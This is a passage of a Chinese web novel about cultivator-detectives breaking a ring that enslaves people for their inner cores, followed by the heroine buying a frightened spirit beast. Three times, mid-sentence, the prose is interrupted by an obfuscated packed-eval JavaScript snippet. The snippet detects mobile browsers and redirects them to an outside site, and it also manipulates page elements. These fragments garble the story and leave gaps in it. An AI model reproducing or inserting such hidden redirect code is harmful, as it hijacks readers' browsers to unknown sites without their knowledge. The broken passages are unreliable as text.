对于想要修仙的人来说,仙人就是修炼的最终目的,是人的肉身与精神最极致的状态。然而居然有人可以将仙人囚禁为丹奴,随意打杀伤害,这实在是太可怖了。 庄耀的神色非常冷静,对于大家的反应无动于衷,继续道:“根据详细的问询,我们猜测,罪犯所掌握的术法必定不同寻常,在所有的证物当中,那些符箓最有可能是他们这种奇怪力量的来源。” “从受害人口中所了解到的新线索,除了他落入魔爪的过程外,还有罪犯老巢内受害人们作为丹奴的培育过程,这些线索可以在我们找到罪犯与他们的巢穴后提供帮助。” 大家还没从震惊当中缓过神来,而庄耀已经和使长、队长们商量起了接下来的行动计划。 宁霄抱臂站着,盯着光镜中的证词陷入了沉思。 作为一个仙人,轻易被擒必定是不合常理的,但凌非远是自愿配合的话,就正常多了。 至于那个神秘的符文……真的可以轻易遮蔽受害人的神志吗?能有这样的奇效,要么是符箓或法阵的代价惨重,要么就是有比阿远还要厉害的人存在于罪犯巢穴之中。 她摇了摇头,否定了后者的可能性。 从小到大,她还没听说过比仙人还要厉害的人。 回过神来时,那边已经开始了新的商讨。 袁四的抓捕告示发出去后一直没有音讯,接下来将在黑市发布悬赏。 符文虽说已经找到了一些线索,但符纸和笔迹很特殊,一直无法找到的原因只能是因为后者是罪犯内部制作的,并未流出市场。 最后,大家将重点放在了郊野破庙附近的线索上。 这是唯一一处线索繁多的地方,根据阿远的证词,他原本只是装作中计,但随后就真的失去了意识。 那么小径上的脚步和法力痕迹就可以对应上了,两边的脚印和蹲守的痕迹的确来自于罪犯及其同伙。 那么剩余无法对应的线索就只剩庙内消失的神像、庙外遗落的符纸以及那个奇特的大凹痕了。 “这里我需要向大家提供受害人的一处证词,据他所说,当时他途径修界,看到罪犯带着一个失去意识的人潜逃到了神庙附近,为了方便观察,他从庙宇后方的窗户进入了庙内,藏身于神像身后。” 说着,水镜展示出了那片夹在神庙窗户中的衣服布料,以及一枚神像基座后面被大家所忽略掉的小片足迹,因为凌非远是垫脚站立的,所以留下的痕迹几乎难以与罪犯的脚印进行区别。 排除掉了两处证据后,大家围绕着剩余的线索展开了分析。 “这么说来,神像是在仙界受害人失去意识后才消失的,根据神像周围的脚印可以确定,是至少两个人在周围出现过,我想应该是罪犯带走了神像。”二队的队长柳正元提出了自己的看法。 牛空听完后看向了秦荣,问道:“秦荣呢?你怎么看?” “使长。”秦荣点头示意,随即施法让水镜中的证物变换成了神庙外的痕迹草图。 “我想,那个奇特的凹痕,很有可能是神像将杂草压倒造成的。如果罪犯将神像带出了庙宇,必定要有地方落脚,那一处凹痕是唯一符合的位置。现在奇怪的是,罪犯究竟要这神像做什么,又是如何将神像不动声色地带走的。” “嗯,神像要想带走可并不容易,”牛空点头应和着,“其他人呢?有什么新的发现和想法吗?” 杨妙云抓着任彪的胳膊举起来,推着他走出了人群,喊道:“这里这里,有新的猜测。” 任彪有些不好意思,忙挣脱出了她的钳制,正色道:“关于庙外的大凹痕,我仔细观察了一下,应该不是一个完整的凹痕,而是两个。” “你的意思是,神像是被人劈成了两半带走的?” “之前我还不太能确定,但既然大家猜测神像是在受害人出事后才消失的,那一切就合理了。根据观察,凹痕附近有法力的痕迹存在,在凹痕的中间,还存在一道比较清晰的不规则折痕,应该是什么重而细的东西在杂草上压过留下的。” 这个新的发现瞬间点醒了大家,牛空和大家商量过后,大手一挥吩咐道:“六队、二队,你们分别带点人手,最好是心细一点的,专精于痕迹证据观察的,把老许也叫上,我们一起去神庙附近亲自看看。” 宁霄原本是排不上号的,但因为发现了特殊符文与衣服布料,秦荣觉得她在这方面应该也有些天赋,便一并带去了。 一行人浩浩荡荡再次来到了熟悉的郊野,围在那处奇特的凹痕附近仔仔细细把每个细节都观察商讨了一遍。 庄耀最先肯定了任彪的猜想,并随手造了个灰色的虚影出来。 一团灰影逐渐形成了一个人形的样子,大小尺寸都与丢失的神像一致。 “根据受害人与周围居住的那位老妪的描述,神像应该就是这个大小了。”庄耀说着,令灰影落在凹痕之上,大小几乎一致。 许闻楼见状点了点头,道:“那看来的确如此了,此处的法力痕迹就集中在中间,呈圆环似的形状,说明神像是被人从中间破开的。” 庄耀有些疑惑地看着他,没有言语,只是默默打消了那团灰影。 “看来,罪犯应该就是把神像当成了容器,破开后把受害人放入其中运走的。”牛空摸了摸自己的光头,认可了这个结论。 “那么接下来,就派人去找神像的下落吧。正元,这件事你们二队去办吧。” 柳正元当即领命离去。 宁霄跟着剩下的人回到缉凶司时,吴季旸立刻就迎了上来。 “使长、队长,有人接悬赏了,说知道袁四的下落,我已经派人先去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999289|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接洽了。” 一听这个,在场的人都振奋起来,急匆匆回到内院安顿好人手,随后便带了几个得力干将离开了。 宁霄作为新人自然被留在了司里。 没想到的是,不出半天,案子就有了突破性的进展——袁四被抓回来了。 一切好似风卷残云般随之涌动起来,叫人来不及反应。 仙人立刻增派了人手接手此案,并与牛空带领的两支队伍直捣罪犯的老巢,仅仅几天,就将那害人性命的窝点给清扫了个干净。 事情发生得非常迅速,阵仗也是前所未有的大,整个缉凶司都被惊动了,一连几天,大家都在打听和讨论此事,连散值的钟声都无法打动人们八卦的兴趣了。 宁霄出于好奇也经常留守在司里,也因此时不时就会被抓壮丁去干活。 到了袁四被抓的第三天,夜色刚刚擦黑,一溜被锁链串起来的罪犯就被仙人和缉凶使们羁押回来了。 后面则跟着数十名受害人,由缉凶使们保护着回到了缉凶司安顿。 就连好几天都没有下落的神像都被几个人用运输灵石的车子拉了回来,路过宁霄的时候她探头一瞧,神像早已经被砸成了碎片。 当天晚上,不管是留下看热闹的还是已经溜出大门的缉凶使,通通被各自的上峰唤了回来,全挤在司里,审讯的审讯,跑腿的跑腿。 仙人们可不嫌累,把人带回来以后就马不停蹄地推进案子的审理程序,整个夜晚,缉凶司灯火通明。 当宁霄记录完最后一个受害人的证词,从问事处出来后,迎面撞上了几个面有菜色的同僚。 六队和二队的人更是不得片刻休息,很快又被叫到了内院集议,宁霄虽说只是个边缘人物,但也不得不受此酷刑。 不过也好在她只是个边缘人物,才能在无聊的集议上肆无忌惮地神游。 “经过大家的努力,以袁四为首的罪犯链条已经被成功抓获,昨晚的审讯也已经结束,整理之后我们会尽快对犯人执行应有的惩罚,受害人的身份信息也已经和过往的失踪者信息进行了核对,有一部分已经对应了,剩下的将发布告示寻人,请大家不要松懈。” 作为缉凶司方面的办案代表,牛空站在人群前面努力想要振作大家的精神。 只可惜作为实实在在干了几天活的缉凶使们,没有一个想要听这些片儿汤话,人群中甚至已经有人开始不受控的左摇右晃起来。 见状,牛空赶紧把话题转到了案件的线索上。 “根据罪犯的供述,基本可以确定,窝点已经被我们全部查抄了。延续上次的线索来看,神像的确是用来运输受害人的容器,他们当天在神庙外将两个受害人运送至黑市一个落脚点后,把人放进箱中送到了窝点囚禁,神像也被砸碎丢弃。” 只可惜,昨晚凡是参与了问询的缉凶使,都已经对罪犯的行动和线索了解得大差不差了,于是听了这番人尽皆知的总结后,那些摇晃的人已经快要被哄入梦乡了。 宁霄虽然也很疲惫,但对于自己参与的第一个案子还是保留了一些兴奋和耐心的,于是她一边听一边在心里串联每一个细节。 牛空之后是仙人发言。 相比起来,庄耀的发言就利索多了,甚至是给了大家一记重锤,把打摆子的人都给治好了。 “这桩案子到现在已经基本明晰了,除了逃脱的罪犯还得继续追踪以外,还存在唯一的问题——受害人的内丹。” 庄耀的脸色不太好,环视一圈后,继续道:“他们的内丹基本上都已经被兜售出去了,目前仅追回了刚刚交易出去的一小部分,其他人的,包括本次案件中的仙界受害人,他们的内丹暂无音讯。” 此话一出,大家都清醒了不少,纷纷交头接耳起来。 15. 仙人(二) 虽说已经捣毁了罪犯的老巢,解救了不少丹奴,看似已经取得了很大的成果。但内丹相较于其他案子而言依旧是很要紧的东西。 普通修士尚且指望着内丹修炼,仙人的内丹呢?恐怕在场所有人都无法想象仙人没有内丹的后果。 可是现在更让人头疼的是,昨天已经把相关人员都审讯过了,该说的应该都说了,怎么会没有内丹的线索呢? 怀揣着这样的疑惑,宁霄在结束集议后便跟着一行人去了刑房围观。 跟她一样来参观的缉凶使不少,都很好奇内丹交易究竟是为什么没有结果。 刑房和内院挨得很近,大家穿过旁边的长廊与过道后,便来到了一处被重重阵法和守卫包围起来的建筑前。 黑洞洞的大门里灯火零星,湿冷的空气从里面吹来,引得大家起了一身鸡皮疙瘩。 为首的杨妙云通过守卫的检验后才带着大家进入了刑房的大门。 她施展法术点亮了两边的火把,七拐八拐来到了袁四的刑房门口。 里面分了两个隔间,一个隔间关押嫌犯,另一个隔间则是审讯的地方,中间有一道厚重的铁门连接。 杨妙云领了两个人从右侧的小门进入了审讯间,随行的守卫则跟随着进入,打开了刑房,将死气沉沉的袁四带出来绑在了审讯室的椅子上,分守两侧。 其他人则守在了审讯室的门外,凭借外面的传视镜观察里面的动静。 宁霄首先观察了一下袁四的样子,虽然他此时头发蓬乱,但基本上和自己那天看到的下半张脸一致。 随后她的视线转移到了袁四的手上,只见他左手拇指完好,和自己见到过的完全不同。 “他不是拇指有缺吗?”宁霄指着镜中袁四的左手问道。 旁边一个六房的前辈面色平静,解释道:“昨晚我参与过审讯,说是使了障眼法,故意伪装的。” 见宁霄疑惑,他继续道:“放心吧,缉凶司的案子每条线索都不会放过的,你刚来可能不太清楚。昨晚是任组长审的,还提到你提供的这条线索了呢,专门找了神目来看过了,袁四左手确实有法力留存的痕迹。” “神目眼里的世界究竟是什么样啊?连障眼法都看得出?” 闻言,前辈沉默了,双手抱臂,一手支着下巴,想了半天才道:“其实我也挺好奇的,但是呢,神目就老许一个,他的眼睛还是天生就这样的,所以谁都不知道他眼睛里的世界到底是什么样的,连老许自己都说不清楚。” “至于障眼法嘛,一般也没人会往左手上使什么法术吧?老许也只是能验证袁四的说法罢了。” “唔……”宁霄不置可否,又继续去看审讯的情况。 只见杨妙云已经站起身来指着袁四的鼻子骂起来了,周围两个劝架的好险才没让杨妙云闹出什么祸事来。 左边的一个前辈立刻接续问道:“你们做买卖的怎么可能没账簿?!劝你还是老实交出来,免得上了刑才哭爹喊娘的要交代。” 袁四听完这话看起来倒是很淡然,没有什么动作,只是抬眼透过蓬乱的发丝看了眼前的三人一眼,随即又叹了口气道:“大人,昨晚我已经受过刑了不是吗?我该说的都已经说过了,我们的交易是买家卖家互不知晓的。” 宁霄听完直接皱起了眉头,喃喃自语道:“怎么可能?他和杨茂全交易时不就见面了?” 审讯室内的杨妙云和她的想法相同,一拍桌子又站起来发出了同样的疑问。 “大人呐,我昨晚已经说过了,”袁四抬起两只被锁链锁起来的手,挡在了自己的面前,“内丹交易只是小买卖,可丹奴是大生意啊,更何况里面还有个仙人,这才不得已破例的啊!” “问你你就说!哪来那么多废话?!”杨妙云眼神瞬间凌厉起来,伸出食指指着他就骂,“老子告诉你,昨天是昨天,今天是今天,就算天天审问你,你也得问什么答什么!” 袁四抬眼瞥了她一眼,没有说话。 旁边的组员见状,一人拉住杨妙云,一人继续问道:“既然这么重要,为什么偏偏卖给接触不久的杨茂全?” 只见袁四嗤笑一声,道:“就因为他是个什么都不懂的蠢货才不会被人察觉啊,这样烫手的货物,老买家才不会碰呢,再说了,等风头一过,把那蠢货做掉后再把货拿回来,我们一点损失都不会有。” “风头?你指什么?” “当然是怕引起你们的注意了,”袁四面露不快地看了看审讯室内的几人,“仙人内丹一经出手就引起了波动,一些老顾客居然也不怕留下证据,主动找过来要买,还有一些愣头青,到处找中间人要见我们,我们怕出事,就想着先把那仙人给送走。” “所以仙人的内丹卖给谁了?” “我不知道……呃啊啊啊啊!!!” 袁四刚一回答,杨妙云就出手给了他一下子,两旁的守卫则已经见怪不怪了,只是伸手扶住了椅子,防止袁四受不住摔倒在地。 “唔呃啊……我真的……我真的不知道啊!”袁四终于有了些受刑该有的反应,平淡麻木的五官皱缩起来,双眼瞪大喊叫着。 等到法力给予的痛苦被撤掉以后,他才大口喘着粗气,用近乎喊叫的声音辩解道:“我真的不知道啊大人,干我们这营生的,买家定是非富即贵,若是不能保护买方的信息,我们是没法立足的啊!” “况且,有了账簿和信息,我们就成了一根绳上的蚂蚱,无论是我们被查还是买家被查,都会一损俱损!”袁四身子前倾,整个人几乎要扑到审讯者的面前了,“那个仙人的内丹,我是靠着中间人卖出的,我不是已经都供出来了吗?!” 闻言,杨妙云没有回应,只是盯着他的眼睛问道:“仙人的内丹,如此稀有之物,你们就没想过留下来自己用?” 袁四立刻疯狂摇头,一边摇一边说:“我们没法儿留啊”。 “是有人想吸收一下试试的,可是那内丹对我们来说简直是石头!根本没法吸收,即便借助外力也不行,所以只能卖掉。” 宁霄在外面听罢,问刚才那个前辈道:“承接仙人内丹买卖的中间人没找到吗?” “嗐,找着了,你猜怎么着?那中间人找不到买家,只好另外找了中间人去卖,就这么一个接一个,我们把一串人带回来以后才发现,最后那人是在黑市挂了悬赏后才找到中间人卖掉的,压根不知道是谁接手的。” 一听是悬赏,宁霄也不问了。 修界本身就乱,黑市更盛,怎么打击都会死灰复燃,最后只能是无事不扰,各自清净。其中的悬赏更是神秘,不管多奇怪多危险的事情都有人去办。 所有在修界生活的人都明白,若是一件事情连悬赏都没人接,那真是天王老子来了都没用了。 眼见袁四这边的审讯进了死胡同,宁霄也不想多留了,随即离开了刑房,转而去了问事处。 不少获救的丹奴已经找到了自己的家人,但是在离开缉凶司之前还得再接受一次讯问。 宁霄从窗口路过,见一个受害人哭得满脸通红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999290|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便停下了脚步,透过门上的小窗往里看。 正在问询的正巧是苗淇,此时面对情绪激动的受害人,她显然有些手忙脚乱,只好先交给自己的同伴处理,无奈间,正好瞟见了门外的宁霄。 她快步走来,给宁霄开了门,招呼她进来。 “啊?” “没事,进来吧,受害人情绪有点激动,人多她会感觉安全一点。” 宁霄跟着进来,苗淇立刻给她拉了把椅子放在了受害人旁边,见状,宁霄也不好拒绝,只能坐下来,学着另一位前辈的样子拍拍受害人的肩,重复说着“没事没事”。 “呜呜呜你们根本不知道里面有多可怕!我们每天就像猪圈里的猪一样,被蒙着眼睛喂些难吃的丹药和猪食一样的东西。” 受害人用帕子抹了抹眼泪,哭嚎着继续道:“我跟我朋友一起被抓去,我们原本就是出门采买东西,哪知道会被人拐走啊呜呜呜呜……阿燕到现在还没被找到,我都不敢想她是不是已经……” 聊到此处,受害人又是一阵嚎哭,甚至比之前还要大声。 苗淇的嘴巴张张合合几次都没说出一句话来,只能在旁沉默等待着。 见受害人已经靠在那位前辈怀里痛哭起来,宁霄立刻往苗淇那边凑了凑。 “苗组长,受害人大概有多少啊?” 闻言,苗淇摇了摇头,低声道:“这件事早就传出去了,不少失踪者的家属来找人,大都没找到,而且在罪犯老巢附近发现了一个乱葬岗,很多丹奴撑不到获救就死了。” “所以……真的没有办法了吗?” 苗淇垂下眼眸,拍了拍她的肩膀,安慰道:“尽力就好。” 见状,宁霄也不再追问了。 她不是不明白尽人事听天命的道理,只是在她的心里一直有一道质疑的声音不肯松懈。 ——难道真的没办法了吗? 难道这么大的案子,就只能止步于此了吗? 从问事处出来以后,宁霄直奔司里存放案卷的地方,调取了和“内丹”“丹奴”相关的案件查看。 虽然相关的案子不少,但是自缉凶司成立至今,都没有发生过如此规模的内丹、丹奴交易案。 一连几天,司里都在为这个案子忙碌,可是后续的收获甚少。 凡是可能与罪犯相关的买家他们都盘查了个遍,但除了为监牢贡献些罪犯外,内丹和丹奴的追回数量屈指可数。 案件逐渐陷入了停滞,越来越多的人都默认了这个结果,不再投入过多的时间和精力进去,很多之前暂停的事务也被大家一一捡了起来,恢复了常态。 距离案发已经过去了半个多月,已经不再有新的线索出现,就连仙人都接受了司长的建议,同意暂时结案了。 寻找内丹和丹奴的事情则归类进了缉凶司的长期案件中,等待日后新的发现。 忙碌了这么久,还把自己的休沐给搭了进去,宁霄对于案件这样的结果有些不满。 尤其是自己不能真正深入参与到案件的核心中去,更是让她有些郁闷。 “也不知道罪犯的老巢里究竟什么样……” 她自言自语地走在回家的路上,随便找了家饭馆,坐在了门外的小桌旁。 夕阳西斜,将她的影子拉了好长,刚下过雨,路上行人不多,只有一群野狗在不远处厮混,传来阵阵吠叫声。 忽然,有什么东西碰了碰宁霄的腿和脚。 她弯腰看去,视线里是一团灰白的东西正在瑟瑟发抖。 16. 仙人(三) 宁霄弯腰看去,自己的脚边正卧着一个灰白花色的动物,大小和成年的狗差不多大,瘦伶伶的,毛发都已经蹭上了泥浆,正止不住地颤抖着。 大约是感觉到了她的动作,小家伙回过头来,与她对视的瞬间,又吓得跑出桌子底下,在桌子对面的椅子边上颤抖地坐下。 宁霄这才发现,这家伙生得很是奇特,不像是狗,而更像是猫,短吻、竖瞳,耳朵藏在鬣毛之间,只露出了一对耳朵尖尖,正灵活地转动着。 她在桌子下顺着小家伙朝向的方向看去,不远处除了那群吠叫的野狗以外,还有一个被拴在一个店门口的家伙。 那东西矮小却粗壮,像蛇一般用尾巴挺立着,却还长了一对粗壮的前足,它浑身覆盖着黑色的鳞片,红色的眼珠好似在发着光,正一动不动盯着这团灰白的小家伙。 “姑娘,你的面好了!” 店家大娘端着一大碗面从店里出来,笑盈盈地将碗筷放在了她面前。 “谢谢,诶大娘,”宁霄叫住她,指了指椅子边的小家伙,“这是什么东西啊?” 大娘闻言去看,却也摇了摇头,笑道:“哎呦,不认识诶,看着也不像狗啊。” “会不会是什么灵宠啥的?”大娘在蔽膝上擦了擦手,同时压低了声音,“前两天我看到有车子运着一堆我不认识的东西从这条街上过去了,人家说是灵宠呢。” “倒是有可能。”宁霄点头应和着,又问大娘要了一碟牛肉。 大娘应下后,转头进店里招呼其他客人去了。 自修界出现以后,灵兽便也随之增多了,那时候的修士们可没少到处搜罗灵兽。 但是随着修界人口越来越多,灵兽也就有些供不应求了,于是逐渐发展出了专门繁殖售卖灵兽的行当。 只不过灵兽脾性不同,温和一点的还能抓回来养一堆去卖,脾气不好的,别说抓了,能活命回来就算是幸运了。 想到这里,宁霄一边吃面一边回想了一下自己见过的灵兽,却没有一个能对得上号的。 看样子也不像是什么凶残的品种啊,难道是什么很难养活的兽种? 不等她琢磨明白,只听远处一声嚎叫响起,灰白毛的小家伙就应声窜回了桌子底下,靠着她的腿瑟瑟发抖。 宁霄抬头看去,那黑色鳞片的家伙已经往这边来了一段距离,其他野狗则好奇地围在不近不远的位置,对着它吠叫着,可它一双红瞳却只盯着宁霄的脚边,丝毫不受影响。 “嗐!叫什么叫!” 店主大娘忽然从店里出来,将一叠牛肉放在宁霄桌上,又转头朝野狗丢出去几个大骨头,野狗被骨头吸引,分散开来,也不乱叫了。 大娘擦了擦手,一边盯着它们看一边自言自语道:“真是的,都要把客人吵走了。” “这些狗不是邻里养的吗?” “不是,”大娘一甩手,跟宁霄聊了起来,“这条街再往前就是八福大路,那边每天都热闹,人来人往的,人们丢下不吃的东西就被狗给吃了,最近大家因为拐卖的事情人心惶惶的,都不敢出门了,狗饿了就厮混到一起了。” “别担心,这些狗嘛也就叫唤叫唤,早被人给养懒了,不敢咬人的。”大娘说罢打量了一下宁霄的装束,凑近了些,“姑娘,你是缉凶司的吧?最近这案子到底抓没抓住坏人啊?” “没事,案子已经结了,您不用担心。” 见她不愿多说,大娘也没再追问,笑着点了点头,便又一头扎进了店里。 宁霄则叹了口气,摇了摇头,随后夹了几块牛肉丢在了脚边。 那灰白毛色的小家伙嗅一嗅牛肉又看一看宁霄,迟迟不敢行动。 宁霄只好收回目光,果然,桌下传来了大快朵颐的声音,她便将剩下的肉都倒在了那小家伙面前,自己则看向街上的野狗和虎视眈眈的奇怪动物。 诱拐掠卖、豢养丹奴、交易内丹,一大堆祸事偏偏纠集到了一起,闹得满城风雨。 可既然结案以后仙人都心安理得的离开了,修界的人又有什么好害怕的呢?只可惜没法追回所有的内丹和失踪人口…… 宁霄一边发愁,一边看着街上的野狗叼着骨头散去,那个黑色的奇怪家伙因为铁链的束缚没法再往前一步,便起身准备离开。 进店留下饭钱后,一出门,就见那灰白毛发的小家伙正在桌底下眼巴巴看着她,水蓝的眸子带着瑰丽的质感,此时却透出了懵懂,脚边的肉也已经被吃了个精光。 宁霄移开目光,扭头就走,却听身后一阵啪嗒啪嗒的脚步声紧随而来。 一回头,那小家伙就隔着一段距离停在原地来回转悠,时不时还瞥一眼宁霄。 ——如果真的是灵兽,应该是走丢了吧?实在不行,明天去报个案得了…… 这样想着,宁霄朝它走了几步,见它也转身后退,宁霄只好蹲下身来,低声道:“过来,我带你走。” 犹豫片刻后,小家伙才一步一顿地慢慢朝她走来。 宁霄伸出手让它嗅了嗅,随后挠了挠它的下巴,想要把它抱起来。 但碍于它浑身脏污,还是先捏了个诀,把它毛发上的脏污清洁了一下,小家伙顿时干净了不少,看起来也更有灵兽的风貌了。 “别怕,我抱着你吧。” 说着,宁霄伸出手来准备将它抱进怀中。 然而就在此时,一小团黑影忽然出现在了宁霄的视野里,她立即将小家伙拎在手里站起身来,只见斜对街那个黑色鳞片的家伙竟朝他们冲了过来,脖子上的铁链早已不知所踪。 “诶诶!偷东西啦!黑龙!给我拦住他们!” 一个粗犷的声音随即传来,黑鳞怪物扭动着粗壮的短尾再次冲过来,被宁霄一个手决打翻在地。 “哦呦!你敢打我的黑龙!赔钱!” 宁霄循声抬头,只见一个粗犷大汉凭空出现,抓起那团黑乎乎的怪物指着宁霄破口大骂。 “黑龙?”宁霄又仔细看了看他手里抓着的粗壮小怪物,不禁嗤笑出声,“什么杂种都敢叫龙了。” “你!”男人深吸了一口气,原本要喷泄而出的脏字被他憋了回去,紧接着喊叫道:“你偷我的灵兽!拿钱!” 宁霄看了看手里拎着的小家伙,它已经被吓得浑身颤抖了,宁霄只好将它放进怀中,左手环抱着。 “你的?有什么证据?” “什么什么证据,这崽子是我前两天买回来的!你凭什么拿走!拿钱来!” 如此直白的敲竹杠让宁霄也有些语塞,她还是头一回见这么莽撞的人,讹人都讹到缉凶使头上来了。 “行啊,那还给你,”说着,宁霄就又单手托着小家伙往那大汉面前送,“喏。” “滚你丫的!它刚才明明不长这样!你把毛色品相都给弄坏了你!” 眼看对面的人气急败坏,宁霄自岿然不动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“行,买可以,你既然是卖家,就给我立个字据。” 宁霄声音沉稳有力,既不争辩也没威胁,周围的看客见状也直点头,甚至有散开的趋势。 邓油子虽然犹豫了一下,但已是骑虎难下,一咬牙道:“好!当然要立字据!让大伙都知道知道!免得你欺负人!” 他揣着自己那小怪物回到店里,掏出一堆杂乱的纸墨笔砚出来,直接放在门口的桌子上,提笔就写。 在周围人的注视下,他在契约上直接写下了“灵石三千颗”的价目,引得众人惊呼,到处都是抽气声。 “老天,这卖的什么东西这么贵?!” “我瞅瞅,好像是个灵兽,啧……也没写是什么灵兽哇?” “是啊是啊,这是不是有点太过了?那缉凶使能答应他?” “嗐,我看呐,就是故意给那姑娘难堪呢,去干缉凶使的哪有什么富贵人家呀,嘿呀,这姑娘真是碰上硬茬儿了。” “吁,要不说人家儿子厉害呢,连缉凶使都不放在眼里。” …… 然而宁霄没有一丝惊惶,只是从腰间的紫色云纹小葫芦里倒出了一颗小药丸,送到了小家伙的嘴跟前。 大约是明白她的好意,小家伙乖乖将药丸吃了下去。 17. 仙人(四) 为了不碰到小家伙的伤口,宁霄只能是一只手托着它的胸口,手指架住它的腋下和脖颈,远远看去好似在托着一叠白毛衣服。 第二份拓印齐备后,宁霄细细看了一眼,没还一个子儿,直接提笔写了自己的名字,按了手印,又从皮革小袋中取出自己的铜印盖了上去。 等邓油子也签好了,宁霄这边已经掏出了银票。 “劳驾,谁带了灵石,我称一称。” 周围都是看热闹不嫌事儿大的主,当即就有人从自家店里拿了戥称出来,又有人贡献了一把灵石。 宁霄抓了几颗灵石放上去,然后一颗一颗加到了一斤多一点的重量。 “十五颗,三千颗灵石两百斤,按照目前的行情,一斤灵石我算你三两白银不算吃亏,六百两。” 她一边说一边数,将银票一张一张搁在了桌上。 在场的人俱是眼冒金光,邓油子更是当即就要扑过去,宁霄却一掌按住了银票。 “看来您对这个价格也很满意,既然如此,再起一份字据,说清楚这三千灵石是换成了银票交给你的。” “好好好,行,写就写。”邓油子抓起纸笔就写,一边写眼睛还一边瞟着旁边的银票,眼睛都要瞪出来了。 “写歪了,重写。”宁霄说罢,将银票拿起对折,又攥回了手里。 见状,邓油子没有丝毫怨言,弄了张新的纸飞快地写了新的字据。 检查清楚签字画押后,宁霄将银票搁在桌上,将两张字据好好收进了自己的皮革小袋里,托着受伤的毛团从人群中挤了出去。 “嗬哟!看来有钱的缉凶使还是有昂?也不知道是哪家小姐这么想不开,不去玄门非要到缉凶司去。” “让我看看,诶你们看这印章,一看就不是普通缉凶使,咱们做买卖都不一定有这么讲究的。” …… 听着身后逐渐远去的议论声,宁霄在回家的路上叹出了一口气。 现银拿去买了院子,如今辛苦攒的银票也被掏了个干净,虽说这钱还能回来,但付钱的时候还是肉疼得很。 宁霄将手里热乎乎的毛团举到自己眼前,看着它惊惶无措的表情,无奈地笑了。 “你知道自己值多少身价吗?你知道六百两要攒多久么?唉……叫你什么好呢?要不……就叫你三千好了,嗯?” 也不知道那小家伙是听懂了还是单纯撒娇谄媚,竟眯起眼睛晃了晃尾巴。 见状,宁霄噗嗤笑出了声,一边笑一边叫着“三千”这个名字,小家伙摆了摆尾巴,竟低下头试图舔宁霄的手指,奈何根本够不着,只好作罢。 一路走回去,宁霄在路边的兽药房找医师给它看了看伤势。 腿上和尾巴上都是被狗咬的牙印,好在没有撕扯太严重,还能勉强走路。 “我刚才给它喂了点止血的药丸。” “嗯,那我就不给你开止血的了。”医师一边说一边埋头写方子。 “医师,这小家伙是我刚才买的,您能看得出它是什么吗?” 医师停笔检查了一下三千的样子后随意道:“看着应该是驭风,没几个月大呢还,你看看,牙都没长齐。” “是灵兽吗?” 闻言,医师突然停下了动作,看着她笑了,道:“是,怎么?你连它是什么都没问清楚就买了?” “啊,对方也不认识,我看它可怜就买了。” “花了多少钱啊?” “您看它值多少?” 医师神色认真,把三千翻来覆去看了半天,才道:“月份太小,还受伤了,嗯……胆儿还这么小,啧,驭风最重要的就是腿脚,要是成年灵兽,往多了算二百两黄金也是有的,但是它嘛……七十两,不对,就这样的性子,六十两黄金都怕亏。” “唔……”宁霄若有所思,在心里默默换算着价钱。 “你这样子……不像是七十两买的,也是,驭风不常见,卖家也要赚钱的……八十两?” “六百两白银。” “噫!差不多一百两黄金了!哪家啊这么坑人?!” 见原本爱答不理的医师瞪大双眼看着她,宁霄却笑了笑。 趴在柜台上的三千好似听懂了他们的谈话,竟呜呜咽咽看着宁霄,眼神别提有多可怜了。 “没事三千,亏不了。”宁霄摸着它的脑袋安慰着。 “你也是心大,”医师长吁短叹着包好药,递给了她,“这不得报给泉政司弄他啊?” 随即,他又倚靠在柜台边上,身子前倾压低声音道:“我一开始都没敢跟你说,像它这样的,肯定是被养灵兽的给扔出来的,驭风腿脚和胆子要紧得很,而且得从小跟母兽长到个两三岁才算大了呢,你这钱啊……” 医师摇了摇头,没有再往下说了。 宁霄拎起药包,抱好三千,笑道:“谢了,明天我就去报案。” 临走前,医师还伸长脖子嘱咐道:“弄了他可得告诉我啊!一定得弄他呀!” 从药房离开,又走了一段,才终于到了宁霄家附近,天色渐暗,三千也已经睡着了。 不等她走到院门口,眼尖的崔叔就已经发现了她怀中的家伙。 “诶!捡狗了?” 话音未落,怀中的三千就猛地惊醒过来,懵懵地四处张望着,一看到崔叔就往宁霄胳肢窝里钻。 “嗬哟,还不给看呢。”崔叔笑笑,又躺回了摇椅里。 宁霄无奈,带着三千回到了院中。 “这儿就是你的家了,不用害怕。” 宁霄一边说,一边抱着它把各个屋子巡了一遍,这才把它放到了堂屋的地上。 不料三千的脚刚一落地就飞快蹿到了堂屋的角落里,躲在了两个柜子中间。 宁霄被它的反应逗笑了,但也不强迫它,默默回房去换衣服了。 等她喝完了药汤后,就立刻把三千的伤药给置办好,来到堂屋的角落找它。 尽管已经睡着了,可三千的身体却时不时抽动几下,嘴里还哼哼唧唧的,似乎是做了什么噩梦。 宁霄趁此机会给它的伤口上了药,便回去休息了。 